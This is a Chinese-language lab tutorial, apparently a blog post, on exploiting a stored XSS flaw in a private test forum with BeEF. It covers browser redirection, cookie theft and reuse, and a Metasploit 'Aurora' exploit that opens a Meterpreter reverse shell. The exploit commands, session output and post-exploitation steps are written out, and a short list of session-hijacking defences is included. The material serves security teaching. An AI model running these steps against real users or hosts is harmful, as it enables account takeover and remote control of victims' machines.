【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF

1 案例简介

1.1 案例目的

(1)加深对XSS漏洞的理解;
(2)了解beEF的使用。

1.2 案例环境

(1)服务器:win2008,IP地址为172.16.1.1。部署WAMP环境并之前写过一个的简单论坛网站,启动phpstudy,确保论坛能被访问。部署WAMP环境具体可参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》、简单论坛网站的开发可参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例(具有用户注册、登录、注销、修改信息、留言等功能)》。
(2)靶机:winxp,IP地址为172.16.1.5。
(3)攻击者:kali,IP地址为172.16.1.10。安装有beEF。

2 案例一:浏览器劫持

2.1 概述

定义

  • 从软件方面来说,它是一种恶意程序,通过DLL插件、BHO、WinsockLSP等形式对用户的浏览器进行篡改,使用户浏览器出现访问正常网站时被转向到恶意网页、IE浏览器主页/搜索页等被修改为劫持软件指定的网站地址等异常情况。
  • 从技术方面来说,它是一种常见的在线攻击类型,黑客可通过这种方式控制的计算机的浏览器,并更改网上冲浪的方式和冲浪时所显示的内容。
  • “浏览器劫持”,通俗点说就是故意误导浏览器行进路线的一种现象。

常见的浏览器劫持现象有:

  • 访问正常网站时被转向到恶意网页;
  • 当输入错误的网址时被转到劫持软件指定的网站;
  • 输入字符时浏览器速度严重减慢
  • IE浏览器主页/搜索页等被修改为劫持软件指定的网站地址
  • 自动添加网站到“受信任站点”
  • 不经意的插件提示安装
  • 收藏夹里自动反复添加恶意网站链接等

危害:浏览器一旦被劫持,就意味这用户无法决定自己的电脑里将被存放进什么资料,这无疑存在巨大安全隐患。

2.2 案例步骤

(1)首先,kali作为攻击者需要先补下鱼饵。访问win2008上的简陋论坛网站,注册并登录b账户(密码1),在上面留言,利用存储型XSS漏洞执行shellcode。留言标题为明天会更好,留言内容如下:明天会更好。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(2)受害者查看了攻击者的留言。受害者winXP登录了自己的a账号(密码1)访问了该简陋论坛网站,并点开了攻击者的留言。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

(3)kali劫持了winxp的浏览器。回到Kali系统,可以看到鱼儿上钩。当靶机关闭浏览器时,就会显示鱼儿下线。
在这里插入图片描述
(4)在kali虚拟机中,在Web界面管理控制台先选中目标,在选择redirect browser对靶机的浏览器网页进行重定向,输入要控制其重定向的目标网站,比如这里输入www.baidu.com,将控制靶机浏览器跳转到百度首页。
在这里插入图片描述

3 案例二:会话劫持

在《【PHP基础-9】Session机制详解及Session身份认证应用案例》一文中,我们介绍过会话劫持与会话固定,此处再现一次会话劫持,并补充该攻击的实验过程。

3.1 概述

含义
会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。

攻击步骤

  • 目标用户需要先登录站点;
  • 登录成功后,该用户会得到站点提供的一个会话标识SessionID;
  • 攻击者通过某种攻击手段捕获Session ID;攻击者获取SessionID的方式有多种:
    ①暴力破解:尝试各种Session ID,直到破解为止;
    ② 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
    ③窃取:使用网络嗅探,XSS攻击等方法获得。
  • 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话。

防御方法

  • 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
  • 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
  • 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
  • 关闭所有phpinfo类dump request信息的页面。
  • 验证HTTP头部信息。
  • 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。

3.2 案例步骤

(1)首先按浏览器劫持的方法,让鱼儿上钩。如案例一
(2)窃取Cookie。选中靶机,在command面板找到GetCookie命令并执行,执行后可以看到已经获取到靶机访问论坛是的Cookie: cookie=name=a;
在这里插入图片描述
在这里插入图片描述

(3)Cookie利用。在Kali系统上,打开留言区,在留言论坛首页,退出登录,按下F12进入控制台模块,输入命令如下:document.cookie="name=a"刷新,可以看到首页登录了账号a。
在这里插入图片描述
在这里插入图片描述

4 案例三:GetShell

4.1 概述

利用漏洞获取一定的服务器权限就是getshell,如果是web漏洞就叫webshell,还有别的shell,ftp、sql、3899、4899等等,一般来说这个shell权限很低,需要提权后才能获取服务器的管理员权限。
ms10002漏洞可以通过winxp的IE浏览器GetShell;

4.2 案例步骤

该部分内容将在学习metasploit技术时完整提高。在本节中仅简单了解GetShell目标的实现。具体步骤如下:
(1)输入命令msfconsole启动该功能。启动过程如下,等得有点久。
在这里插入图片描述
(2)输入以下命令设置参数,执行过程中终端命令行如下:

use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
set SRVHOST 172.16.1.10
set LHOST 172.16.1.10
show options
exploit

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(3)复制执行过程中倒数第二行代码的网址http://172.16.1.10:8080/8Pph64EgzIeH9,作为目标靶机重定向的网址。回到beef管理平台:选中靶机→选择命令redirect browser→黏贴网址箭头执行。
在这里插入图片描述
在这里插入图片描述
(4)执行后可以看到kali终端命令行新建会话如下,用session ID来表示第几个会话。注意,执行后我们就获得了目标主机的shell,但是该shell的前提是目标浏览器是开着的情况下,当浏览器浏览其他网页或下线后,该shell就无效。
在这里插入图片描述

[*] 172.16.1.5       ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption
[*] Sending stage (175174 bytes) to 172.16.1.5
[*] Meterpreter session 1 opened (172.16.1.10:4444 -> 172.16.1.5:1159 ) at 2022-06-02 04:23:48 -0400

(5)使用命令sessions -i查询会话列表,使用命令sessions -i -1切换至ID为1的会话。
在这里插入图片描述
(6)使用ps命令,查看有哪些进程,执行过程如下。
在这里插入图片描述
在这里插入图片描述
(7)使用命令getpid查看当前是哪个进程。查看结果为1096,也就是浏览器进程。
(8)使用命令getuid查看当前用户。
(9)使用命令migrate+进程号 切换至目标进程,并执行,如果切换过程中浏览器关闭则会话断开。
在这里插入图片描述

5 总结

(1)了解beEF工具的使用;
(2)加深理解XSS漏洞的利用和危害;
(3)掌握浏览器劫持的攻击方法;
(4)掌握会话劫持的攻击方法;
(5)掌握通过XSS漏洞GetShell的方法。

  • 4
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
基于爬虫的XSS漏洞检测工具设计与实现是指利用爬虫技术来自动化地扫描和检测网站中的XSS漏洞。以下是一个基于爬虫的XSS漏洞检测工具的设计与实现的简要介绍: 1. 设计思路与流程: - 定义目标:确定要检测的目标网站。 - 爬取网页:使用爬虫技术,自动爬取目标网站上的所有页面。 - 分析页面:对每个爬取到的页面进行解析和分析,提取潜在的XSS漏洞点。 - 构造攻击:为潜在的XSS漏洞点构造恶意攻击代码,注入到页面中。 - 漏洞验证:访问注入后的页面,检测是否触发XSS漏洞。 - 漏洞报告:生成详细的漏洞报告,包括漏洞点的位置、类型和可能的影响等信息。 2. 工具的关键功能: - 爬虫模块:实现自动爬取目标网站上的所有页面,并保存在本地。 - 解析模块:对抓取到的页面进行解析,提取出其中的HTML、JavaScript和DOM元素等关键信息。 - 漏洞检测模块:根据XSS漏洞的特征和规则,检测页面中是否存在潜在的XSS漏洞点。 - 恶意代码注入模块:为潜在的XSS漏洞点构造恶意攻击代码,并注入到页面中进行漏洞验证。 - 漏洞报告模块:生成详细的漏洞报告,包括漏洞点的位置、类型和可能的影响等信息。 3. 实现技术和工具: - 使用Python编程语言来实现整个工具,利用Python的爬虫库(如BeautifulSoup、Scrapy等)进行网页爬取和页面解析。 - 利用正则表达式来提取和匹配页面中的潜在XSS漏洞点。 - 使用JavaScript来构造恶意攻击代码,并注入到页面中进行漏洞验证。 - 生成漏洞报告可以采用HTML格式,并使用CSS样式进行美化展示。 总之,基于爬虫的XSS漏洞检测工具通过自动化地爬取、解析、检测和验证目标网站上的页面,能够帮助网站管理员及时发现并修复XSS漏洞,提高网站的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值